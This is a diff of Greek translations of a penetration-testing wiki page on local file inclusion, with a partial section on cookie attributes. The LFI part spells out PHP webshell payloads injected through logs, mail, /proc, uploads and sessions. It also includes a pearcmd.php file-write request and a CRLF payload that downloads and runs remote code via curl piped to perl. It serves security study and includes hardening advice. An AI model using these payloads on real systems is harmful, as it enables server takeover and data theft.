- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx`
|
||||
- Κατασκευάστε ένα traversal path που θα βγει από τον προορισμένο storage directory προς το webroot, και συμπεριλάβετε το webshell content σας.
|
||||
- Περιηγηθείτε στο dropped payload και εκτελέστε εντολές.
|
||||
|
||||
Σημειώσεις:
|
||||
- Η ευάλωτη υπηρεσία που εκτελεί την εγγραφή μπορεί να ακούει σε μια μη-HTTP θύρα (π.χ., ένας ακροατής JMF XML σε TCP 4004). Η κύρια διαδικτυακή πύλη (διαφορετική θύρα) θα σερβίρει αργότερα το payload σας.
|
||||
- Σε στοίβες Java, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή συγχώνευση `File`/`Paths`. Η έλλειψη κανονικοποίησης/λευκής λίστας είναι το κύριο σφάλμα.
|
||||
Notes:
|
||||
- Η ευάλωτη υπηρεσία που εκτελεί το write μπορεί να ακούει σε non-HTTP port (π.χ. ένας JMF XML listener σε TCP 4004). Το κύριο web portal (σε άλλη θύρα) θα σερβίρει αργότερα το payload σας.
|
||||
- Σε Java stacks, αυτές οι εγγραφές αρχείων συχνά υλοποιούνται με απλή σύνδεση `File`/`Paths`. Η έλλειψη canonicalisation/allow-listing είναι το βασικό σφάλμα.
|
||||
|
||||
Γενικό παράδειγμα στυλ XML/JMF (τα σχήματα προϊόντων διαφέρουν – η περιτύλιξη DOCTYPE/body είναι ασήμαντη για τη διαδρομή):
|
||||
Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal):
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<JMF SenderID="hacktricks" Version="1.3">
|
||||
@ -466,25 +464,25 @@ in.transferTo(out);
|
||||
</Command>
|
||||
</JMF>
|
||||
```
|
||||
Hardening που καταπολεμά αυτή την κατηγορία σφαλμάτων:
|
||||
- Επίλυση σε μια κανονική διαδρομή και επιβολή ότι είναι απόγονος ενός επιτρεπόμενου βασικού καταλόγου.
|
||||
- Απόρριψη οποιασδήποτε διαδρομής που περιέχει `..`, απόλυτες ρίζες ή γράμματα δίσκων; προτίμηση σε παραγόμενα ονόματα αρχείων.
|
||||
- Εκτέλεση του συγγραφέα ως λογαριασμός χαμηλών δικαιωμάτων και διαχωρισμός των καταλόγων εγγραφής από τις ριζικές διαδρομές που εξυπηρετούνται.
|
||||
Μέτρα σκληρύνσεως που αποτρέπουν αυτή την κατηγορία σφαλμάτων:
|
||||
- Επίλυση σε canonical path και επιβολή ότι είναι απόγονος ενός allow-listed base directory.
|
||||
- Απόρριψη οποιουδήποτε μονοπατιού που περιέχει `..`, απόλυτες ρίζες, ή drive letters· προτίμηση σε generated filenames.
|
||||
- Τρέξτε τον writer ως λογαριασμό με χαμηλά δικαιώματα και διαχωρίστε τους καταλόγους εγγραφής από τα served roots.
|
||||
|
||||
## Remote File Inclusion
|
||||
|
||||
Εξηγήθηκε προηγουμένως, [**ακολουθήστε αυτόν τον σύνδεσμο**](#remote-file-inclusion).
|
||||
Εξηγήθηκε προηγουμένως, [**follow this link**](#remote-file-inclusion).
|
||||
|
||||
### Μέσω αρχείου καταγραφής Apache/Nginx
|
||||
### Via Apache/Nginx log file
|
||||
|
||||
Εάν ο διακομιστής Apache ή Nginx είναι **ευάλωτος σε LFI** μέσα στη λειτουργία include, μπορείτε να προσπαθήσετε να αποκτήσετε πρόσβαση στο **`/var/log/apache2/access.log` ή `/var/log/nginx/access.log`**, ορίζοντας μέσα στον **user agent** ή μέσα σε μια **παράμετρο GET** ένα php shell όπως **`<?php system($_GET['c']); ?>`** και να συμπεριλάβετε αυτό το αρχείο.
|
||||
If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try to access to **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**, set inside the **user agent** or inside a **GET parameter** a php shell like **`<?php system($_GET['c']); ?>`** and include that file
|
||||
|
||||
> [!WARNING]
|
||||
> Σημειώστε ότι **αν χρησιμοποιήσετε διπλά εισαγωγικά** για το shell αντί για **απλά εισαγωγικά**, τα διπλά εισαγωγικά θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει ένα σφάλμα** εκεί και **τίποτα άλλο δεν θα εκτελεστεί**.
|
||||
> Σημειώστε ότι **εάν χρησιμοποιήσετε double quotes** για το shell αντί για **simple quotes**, τα double quotes θα τροποποιηθούν για τη συμβολοσειρά "_**quote;**_", **η PHP θα ρίξει σφάλμα** εκεί και **τίποτε άλλο δεν θα εκτελεστεί**.
|
||||
>
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** ή η PHP θα σφάλει κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
> Επίσης, βεβαιωθείτε ότι **γράφετε σωστά το payload** αλλιώς η PHP θα δίνει σφάλμα κάθε φορά που προσπαθεί να φορτώσει το αρχείο καταγραφής και δεν θα έχετε δεύτερη ευκαιρία.
|
||||
|
||||
Αυτό θα μπορούσε επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσοχή,** ο κώδικας μέσα στα αρχεία καταγραφής θα μπορούσε να είναι URL encoded και αυτό θα μπορούσε να καταστρέψει το Shell. Η κεφαλίδα **authorisation "basic"** περιέχει "user:password" σε Base64 και αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell θα μπορούσε να εισαχθεί μέσα σε αυτή την κεφαλίδα.\
|
||||
Αυτό μπορεί επίσης να γίνει σε άλλα αρχεία καταγραφής αλλά **προσέξτε,** ο κώδικας μέσα στα αρχεία καταγραφής μπορεί να είναι URL encoded και αυτό μπορεί να καταστρέψει το Shell. Το header **authorisation "basic"** περιέχει "user:password" σε Base64 και αυτό αποκωδικοποιείται μέσα στα αρχεία καταγραφής. Το PHPShell μπορεί να εισαχθεί μέσα σε αυτό το header.\
|
||||
Άλλες πιθανές διαδρομές αρχείων καταγραφής:
|
||||
```python
|
||||
/var/log/apache2/access.log
|
||||
@ -501,42 +499,42 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
||||
|
||||
### Μέσω Email
|
||||
|
||||
**Στείλτε ένα email** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και προσπαθήστε να το συμπεριλάβετε στο email του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||||
**Αποστείλετε ένα mail** σε έναν εσωτερικό λογαριασμό (user@localhost) που περιέχει το PHP payload σας όπως `<?php echo system($_REQUEST["cmd"]); ?>` και δοκιμάστε να το include στο mail του χρήστη με μια διαδρομή όπως **`/var/mail/<USERNAME>`** ή **`/var/spool/mail/<USERNAME>`**
|
||||
|
||||
### Μέσω /proc/\*/fd/\*
|
||||
### Μέσω /proc/*/fd/*
|
||||
|
||||
1. Ανεβάστε πολλές shells (για παράδειγμα: 100)
|
||||
2. Συμπεριλάβετε [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διαδικασίας (μπορεί να γίνει brute force) και $FD τον file descriptor (μπορεί επίσης να γίνει brute force)
|
||||
1. Ανεβάστε πολλά shells (για παράδειγμα: 100)
|
||||
2. Include [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), με $PID = PID της διεργασίας (μπορεί να brute forced) και $FD ο file descriptor (μπορεί να brute forced επίσης)
|
||||
|
||||
### Μέσω /proc/self/environ
|
||||
|
||||
Όπως ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent, θα ανακλαστεί μέσα στο αρχείο /proc/self/environ
|
||||
Όπως σε ένα αρχείο καταγραφής, στείλτε το payload στο User-Agent — θα αντανακλάται μέσα στο αρχείο /proc/self/environ
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
```
|
||||
### Μέσω ανέβασμα
|
||||
### Μέσω upload
|
||||
|
||||
Αν μπορείτε να ανεβάσετε ένα αρχείο, απλά εισάγετε το shell payload σε αυτό (π.χ : `<?php system($_GET['c']); ?>` ).
|
||||
Αν μπορείτε να upload ένα αρχείο, απλώς εισάγετε το shell payload σε αυτό (e.g : `<?php system($_GET['c']); ?>` ).
|
||||
```
|
||||
http://example.com/index.php?page=path/to/uploaded/file.png
|
||||
```
|
||||
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να εισάγετε στα μεταδεδομένα των εικόνων/doc/pdf
|
||||
Για να διατηρηθεί το αρχείο αναγνώσιμο, είναι καλύτερο να inject στα metadata των εικόνων/doc/pdf
|
||||
|
||||
### Μέσω ανέβασμα αρχείου Zip
|
||||
### Μέσω ανέβασματος αρχείου ZIP
|
||||
|
||||
Ανεβάστε ένα αρχείο ZIP που περιέχει ένα συμπιεσμένο PHP shell και αποκτήστε πρόσβαση:
|
||||
Ανέβασε ένα αρχείο ZIP που περιέχει έναν συμπιεσμένο PHP shell και πρόσβαση:
|
||||
```python
|
||||
example.com/page.php?file=zip://path/to/zip/hello.zip%23rce.php
|
||||
```
|
||||
### Via PHP sessions
|
||||
### Μέσω PHP sessions
|
||||
|
||||
Ελέγξτε αν η ιστοσελίδα χρησιμοποιεί PHP Session (PHPSESSID)
|
||||
Ελέγξτε αν ο ιστότοπος χρησιμοποιεί PHP Session (PHPSESSID)
|
||||
```
|
||||
Set-Cookie: PHPSESSID=i56kgbsq9rm8ndg3qbarhsbm27; path=/
|
||||
Set-Cookie: user=admin; expires=Mon, 13-Aug-2018 20:21:29 GMT; path=/; httponly
|
||||
```
|
||||
Στο PHP, αυτές οι συνεδρίες αποθηκεύονται στα αρχεία _/var/lib/php5/sess\\_\[PHPSESSID]\_
|
||||
Στο PHP αυτές οι sessions αποθηκεύονται σε _/var/lib/php5/sess\\_\[PHPSESSID]\_ αρχεία
|
||||
```
|
||||
/var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm27.
|
||||
user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"admin";pass|s:6:"admin";
|
||||
@ -545,78 +543,83 @@ user_ip|s:0:"";loggedin|s:0:"";lang|s:9:"en_us.php";win_lin|s:0:"";user|s:6:"adm
|
||||
```
|
||||
login=1&user=<?php system("cat /etc/passwd");?>&pass=password&lang=en_us.php
|
||||
```
|
||||
Χρησιμοποιήστε το LFI για να συμπεριλάβετε το αρχείο συνεδρίας PHP.
|
||||
Χρησιμοποίησε το LFI για να συμπεριλάβεις το PHP session file
|
||||
```
|
||||
login=1&user=admin&pass=password&lang=/../../../../../../../../../var/lib/php5/sess_i56kgbsq9rm8ndg3qbarhsbm2
|
||||
```
|
||||
### Via ssh
|
||||
### Μέσω ssh
|
||||
|
||||
Αν το ssh είναι ενεργό, ελέγξτε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπαθήστε να αποκτήσετε πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||||
Εάν το ssh είναι ενεργό έλεγξε ποιος χρήστης χρησιμοποιείται (/proc/self/status & /etc/passwd) και προσπάθησε να έχεις πρόσβαση στο **\<HOME>/.ssh/id_rsa**
|
||||
|
||||
### **Via** **vsftpd** _**logs**_
|
||||
### **Μέσω** **vsftpd** _**logs**_
|
||||
|
||||
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο server vsftpd, μπορούν να ληφθούν υπόψη τα εξής βήματα:
|
||||
Τα logs για τον FTP server vsftpd βρίσκονται στο _**/var/log/vsftpd.log**_. Στο σενάριο όπου υπάρχει ευπάθεια Local File Inclusion (LFI) και είναι δυνατή η πρόσβαση σε έναν εκτεθειμένο vsftpd server, μπορούν να εξεταστούν τα παρακάτω βήματα:
|
||||
|
||||
1. Εισάγετε ένα PHP payload στο πεδίο ονόματος χρήστη κατά τη διαδικασία σύνδεσης.
|
||||
2. Μετά την εισαγωγή, χρησιμοποιήστε το LFI για να ανακτήσετε τα logs του server από το _**/var/log/vsftpd.log**_.
|
||||
1. Ενέχυσέ ένα PHP payload στο πεδίο username κατά τη διαδικασία σύνδεσης.
|
||||
2. Μετά την έγχυση, χρησιμοποίησε το LFI για να ανακτήσεις τα server logs από _**/var/log/vsftpd.log**_.
|
||||
|
||||
### Via php base64 filter (using base64)
|
||||
### Μέσω php base64 filter (using base64)
|
||||
|
||||
Όπως φαίνεται σε [αυτό](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) το άρθρο, το PHP base64 filter απλά αγνοεί τα μη base64. Μπορείτε να το χρησιμοποιήσετε για να παρακάμψετε τον έλεγχο της επέκτασης αρχείου: αν παρέχετε base64 που τελειώνει με ".php", θα αγνοήσει απλά το "." και θα προσθέσει "php" στο base64. Ακολουθεί ένα παράδειγμα payload:
|
||||
Όπως δείχνει [this](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64) article, PHP base64 filter απλά αγνοεί μη-base64 χαρακτήρες. Μπορείς να το χρησιμοποιήσεις για να παρακάμψεις τον έλεγχο επέκτασης αρχείου: εάν παρέχεις base64 που τελειώνει με ".php", το φίλτρο θα αγνοήσει το "." και θα προσθέσει "php" στο base64. Εδώ είναι ένα παράδειγμα payload:
|
||||
```url
|
||||
http://example.com/index.php?page=PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.php
|
||||
|
||||
NOTE: the payload is "<?php system($_GET['cmd']);echo 'Shell done !'; ?>"
|
||||
```
|
||||
### Via php filters (no file needed)
|
||||
### Μέσω php filters (δεν απαιτείται αρχείο)
|
||||
|
||||
This [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters to generate arbitrary content** ως έξοδο. Αυτό ουσιαστικά σημαίνει ότι μπορείτε να **generate arbitrary php code** για το include **χωρίς να χρειάζεται να το γράψετε** σε αρχείο.
|
||||
|
||||
Αυτή η [**αναφορά**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) εξηγεί ότι μπορείτε να χρησιμοποιήσετε **php filters για να δημιουργήσετε αυθαίρετο περιεχόμενο** ως έξοδο. Αυτό σημαίνει βασικά ότι μπορείτε να **δημιουργήσετε αυθαίρετο php code** για την συμπερίληψη **χωρίς να χρειάζεται να το γράψετε** σε ένα αρχείο.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-php-filters.md
|
||||
{{#endref}}
|
||||
|
||||
### Via segmentation fault
|
||||
### Μέσω segmentation fault
|
||||
|
||||
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, τότε στην **ίδια αίτηση** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||||
|
||||
**Ανεβάστε** ένα αρχείο που θα αποθηκευτεί ως **προσωρινό** στο `/tmp`, στη συνέχεια, στην **ίδια αίτηση,** προκαλέστε ένα **segmentation fault**, και τότε το **προσωρινό αρχείο δεν θα διαγραφεί** και μπορείτε να το αναζητήσετε.
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-segmentation-fault.md
|
||||
{{#endref}}
|
||||
|
||||
### Via Nginx temp file storage
|
||||
### Μέσω αποθήκευσης προσωρινών αρχείων Nginx
|
||||
|
||||
If you found a **Local File Inclusion** and **Nginx** is running in front of PHP you might be able to obtain RCE with the following technique:
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και **Nginx** τρέχει μπροστά από το PHP, μπορεί να μπορέσετε να αποκτήσετε RCE με την παρακάτω τεχνική:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-nginx-temp-files.md
|
||||
{{#endref}}
|
||||
|
||||
### Via PHP_SESSION_UPLOAD_PROGRESS
|
||||
### Μέσω PHP_SESSION_UPLOAD_PROGRESS
|
||||
|
||||
Ακόμα κι αν βρήκατε ένα **Local File Inclusion** και **δεν έχετε session** και `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει το session για εσάς**. Μπορείτε να το εκμεταλλευτείτε για να αποκτήσετε RCE:
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** ακόμα και αν **δεν έχετε συνεδρία** και το `session.auto_start` είναι `Off`. Αν παρέχετε το **`PHP_SESSION_UPLOAD_PROGRESS`** σε **multipart POST** δεδομένα, το PHP θα **ενεργοποιήσει τη συνεδρία για εσάς**. Μπορείτε να το εκμεταλλευτείτε αυτό για να αποκτήσετε RCE:
|
||||
|
||||
{{#ref}}
|
||||
via-php_session_upload_progress.md
|
||||
{{#endref}}
|
||||
|
||||
### Via temp file uploads in Windows
|
||||
### Μέσω temp file uploads σε Windows
|
||||
|
||||
Αν βρήκατε ένα **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows**, μπορεί να αποκτήσετε RCE:
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και ο διακομιστής τρέχει σε **Windows** μπορεί να αποκτήσετε RCE:
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-temp-file-uploads.md
|
||||
{{#endref}}
|
||||
|
||||
### Via `pearcmd.php` + URL args
|
||||
### Μέσω `pearcmd.php` + URL args
|
||||
|
||||
Όπως [**εξηγείται σε αυτή την ανάρτηση**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), το script `/usr/local/lib/phppearcmd.php` υπάρχει από προεπιλογή σε εικόνες docker php. Επιπλέον, είναι δυνατό να περάσετε παραμέτρους στο script μέσω της διεύθυνσης URL, καθώς αναφέρεται ότι αν μια παράμετρος URL δεν έχει `=`, θα πρέπει να χρησιμοποιηθεί ως παράμετρος.
|
||||
As [**explained in this post**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), the script `/usr/local/lib/phppearcmd.php` exists by default in php docker images. Moreover, it's possible to pass arguments to the script via the URL because it's indicated that if a URL param doesn't have an `=`, it should be used as an argument. See also [watchTowr’s write-up](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) and [Orange Tsai’s “Confusion Attacks”](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/).
|
||||
|
||||
Η παρακάτω αίτηση δημιουργεί ένα αρχείο στο `/tmp/hello.php` με το περιεχόμενο `<?=phpinfo()?>`:
|
||||
The following request create a file in `/tmp/hello.php` with the content `<?=phpinfo()?>`:
|
||||
```bash
|
||||
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/hello.php HTTP/1.1
|
||||
```
|
||||
Η παρακάτω εκμεταλλεύεται μια ευπάθεια CRLF για να αποκτήσει RCE (από [**εδώ**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
Το ακόλουθο εκμεταλλεύεται ένα CRLF vuln για να αποκτήσει RCE (από [**here**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)):
|
||||
```
|
||||
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
|
||||
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}orange.tw/x|perl) %2b alltests.php %0d%0a
|
||||
@ -625,7 +628,7 @@ Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php
|
||||
```
|
||||
### Μέσω phpinfo() (file_uploads = on)
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και ένα αρχείο που εκθέτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE:
|
||||
Αν βρήκατε ένα **Local File Inclusion** και ένα αρχείο που αποκαλύπτει **phpinfo()** με file_uploads = on μπορείτε να αποκτήσετε RCE:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -634,16 +637,16 @@ lfi2rce-via-phpinfo.md
|
||||
|
||||
### Μέσω compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Path Disclosure
|
||||
|
||||
Αν βρείτε μια **Local File Inclusion** και μπορείτε να **εξάγετε τη διαδρομή** του προσωρινού αρχείου ΑΛΛΑ ο **διακομιστής** **ελέγχει** αν το **αρχείο που θα συμπεριληφθεί έχει PHP marks**, μπορείτε να προσπαθήσετε να **παρακάμψετε αυτόν τον έλεγχο** με αυτή τη **Race Condition**:
|
||||
Αν βρήκατε ένα **Local File Inclusion** και μπορείτε να **exfiltrate the path** του temp file ΑΛΛΑ ο **server** ελέγχει αν το **file to be included has PHP marks**, μπορείτε να δοκιμάσετε να **bypass that check** με αυτή την **Race Condition**:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
|
||||
{{#endref}}
|
||||
|
||||
### Μέσω αιώνιας αναμονής + bruteforce
|
||||
### Μέσω eternal waiting + bruteforce
|
||||
|
||||
Αν μπορείτε να εκμεταλλευτείτε το LFI για να **ανεβάσετε προσωρινά αρχεία** και να κάνετε τον διακομιστή να **κολλήσει** την εκτέλεση PHP, θα μπορούσατε τότε να **brute force ονόματα αρχείων για ώρες** για να βρείτε το προσωρινό αρχείο:
|
||||
Αν μπορείτε να καταχραστείτε το LFI για να **upload temporary files** και να κάνετε τον server να **hang** την εκτέλεση PHP, τότε μπορείτε να **brute force filenames during hours** για να βρείτε το temporary file:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -652,10 +655,10 @@ lfi2rce-via-eternal-waiting.md
|
||||
|
||||
### Σε Fatal Error
|
||||
|
||||
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο δύο φορές για να προκαλέσετε αυτό το σφάλμα).
|
||||
Αν συμπεριλάβετε οποιοδήποτε από τα αρχεία `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Πρέπει να συμπεριλάβετε το ίδιο μία φορά 2 φορές για να προκαλέσετε αυτό το error).
|
||||
|
||||
**Δεν ξέρω πόσο χρήσιμο είναι αυτό αλλά μπορεί να είναι.**\
|
||||
_Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα προσωρινά αρχεία PHP που έχουν ανέβει διαγράφονται._
|
||||
**Δεν ξέρω πώς είναι αυτό χρήσιμο αλλά μπορεί να είναι.**\
|
||||
_Ακόμη και αν προκαλέσετε ένα PHP Fatal Error, τα PHP temporary files που ανέβηκαν διαγράφονται._
|
||||
|
||||
<figure><img src="../../images/image (1031).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -663,8 +666,11 @@ _Ακόμα και αν προκαλέσετε ένα PHP Fatal Error, τα πρ
|
||||
|
||||
- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
|
||||
- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
|
||||
- [Horizon3.ai – Από Υποστήριξη Εισιτηρίου σε Zero Day (FreeFlow Core path traversal → αυθαίρετη εγγραφή → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
|
||||
- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
|
||||
- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
|
||||
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
|
||||
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
|
||||
|
||||
{{#file}}
|
||||
EN-Local-File-Inclusion-1.pdf
|
||||
|
@ -4,35 +4,35 @@
|
||||
|
||||
## Cookie Attributes
|
||||
|
||||
Τα cookies συνοδεύονται από αρκετά χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στον περιηγητή του χρήστη. Ακολουθεί μια ανασκόπηση αυτών των χαρακτηριστικών σε πιο παθητική φωνή:
|
||||
Τα cookies έρχονται με διάφορα χαρακτηριστικά που ελέγχουν τη συμπεριφορά τους στο πρόγραμμα περιήγησης του χρήστη. Εδώ ακολουθεί μια επισκόπηση αυτών των χαρακτηριστικών σε πιο παθητική διατύπωση:
|
||||
|
||||
### Expires and Max-Age
|
||||
|
||||
Η ημερομηνία λήξης ενός cookie καθορίζεται από το χαρακτηριστικό `Expires`. Αντίθετα, το χαρακτηριστικό `Max-age` ορίζει τον χρόνο σε δευτερόλεπτα μέχρι να διαγραφεί ένα cookie. **Επιλέξτε το `Max-age` καθώς αντικατοπτρίζει πιο σύγχρονες πρακτικές.**
|
||||
Η ημερομηνία λήξης ενός cookie καθορίζεται από το `Expires` attribute. Αντίθετα, το `Max-age` attribute ορίζει τον χρόνο σε δευτερόλεπτα μέχρι να διαγραφεί ένα cookie. **Προτιμήστε το `Max-age` καθώς αντανακλά πιο σύγχρονες πρακτικές.**
|
||||
|
||||
### Domain
|
||||
|
||||
Οι υπολογιστές που θα λάβουν ένα cookie καθορίζονται από το χαρακτηριστικό `Domain`. Από προεπιλογή, αυτό ορίζεται στον υπολογιστή που εξέδωσε το cookie, χωρίς να περιλαμβάνει τους υποτομείς του. Ωστόσο, όταν το χαρακτηριστικό `Domain` ορίζεται ρητά, περιλαμβάνει και τους υποτομείς. Αυτό καθιστά την καθοριστική επιλογή του χαρακτηριστικού `Domain` λιγότερο περιοριστική, χρήσιμη για σενάρια όπου η κοινή χρήση cookies μεταξύ υποτομέων είναι απαραίτητη. Για παράδειγμα, η ρύθμιση `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα στους υποτομείς του όπως `developer.mozilla.org`.
|
||||
Οι hosts που θα λάβουν ένα cookie καθορίζονται από το `Domain` attribute. Από προεπιλογή, αυτό ορίζεται στον host που εξέδωσε το cookie, χωρίς να περιλαμβάνονται τα subdomains του. Ωστόσο, όταν το `Domain` attribute ορίζεται ρητά, καλύπτει και τα subdomains. Αυτό καθιστά τη ρητή δήλωση του `Domain` λιγότερο περιοριστική επιλογή, χρήσιμη σε σενάρια όπου απαιτείται κοινή χρήση cookie μεταξύ subdomains. Για παράδειγμα, το `Domain=mozilla.org` καθιστά τα cookies προσβάσιμα και σε subdomains όπως `developer.mozilla.org`.
|
||||
|
||||
### Path
|
||||
|
||||
Ένας συγκεκριμένος διαδρομή URL που πρέπει να είναι παρών στο ζητούμενο URL για να σταλεί η κεφαλίδα `Cookie` υποδεικνύεται από το χαρακτηριστικό `Path`. Αυτό το χαρακτηριστικό θεωρεί τον χαρακτήρα `/` ως διαχωριστικό καταλόγου, επιτρέποντας αντιστοιχίες σε υποκαταλόγους επίσης.
|
||||
Το `Path` attribute υποδεικνύει ένα συγκεκριμένο URL path που πρέπει να υπάρχει στο ζητούμενο URL για να σταλεί το `Cookie` header. Αυτό το attribute θεωρεί τον χαρακτήρα `/` ως διαχωριστικό φακέλου, επιτρέποντας επίσης αντιστοιχίσεις σε υποφακέλους.
|
||||
|
||||
### Ordering Rules
|
||||
|
||||
Όταν δύο cookies φέρουν το ίδιο όνομα, το cookie που επιλέγεται για αποστολή βασίζεται σε:
|
||||
Όταν δύο cookies έχουν το ίδιο όνομα, επιλέγεται για αποστολή αυτό που βασίζεται σε:
|
||||
|
||||
- Το cookie που ταιριάζει με τη μεγαλύτερη διαδρομή στο ζητούμενο URL.
|
||||
- Το πιο πρόσφατα ρυθμισμένο cookie αν οι διαδρομές είναι ταυτόσημες.
|
||||
- Το cookie που ταιριάζει στον μεγαλύτερο path στο ζητούμενο URL.
|
||||
- Το πιο πρόσφατα ορισμένο cookie εάν τα paths είναι ίδια.
|
||||
|
||||
### SameSite
|
||||
|
||||
- Το χαρακτηριστικό `SameSite` καθορίζει αν τα cookies αποστέλλονται σε αιτήματα που προέρχονται από τρίτους τομείς. Προσφέρει τρεις ρυθμίσεις:
|
||||
- **Strict**: Περιορίζει το cookie από το να αποστέλλεται σε αιτήματα τρίτων.
|
||||
- **Lax**: Επιτρέπει στο cookie να αποστέλλεται με αιτήματα GET που ξεκινούν από τρίτους ιστότοπους.
|
||||
- **None**: Επιτρέπει στο cookie να αποστέλλεται από οποιονδήποτε τρίτο τομέα.
|
||||
- Το `SameSite` attribute καθορίζει αν τα cookies αποστέλλονται σε αιτήματα που προέρχονται από third-party domains. Προσφέρει τρεις ρυθμίσεις:
|
||||
- **Strict**: Περιορίζει το cookie ώστε να μην αποστέλλεται σε third-party αιτήματα.
|
||||
- **Lax**: Επιτρέπει το cookie να αποστέλλεται με GET αιτήματα που ξεκινούν από third-party ιστοσελίδες.
|
||||
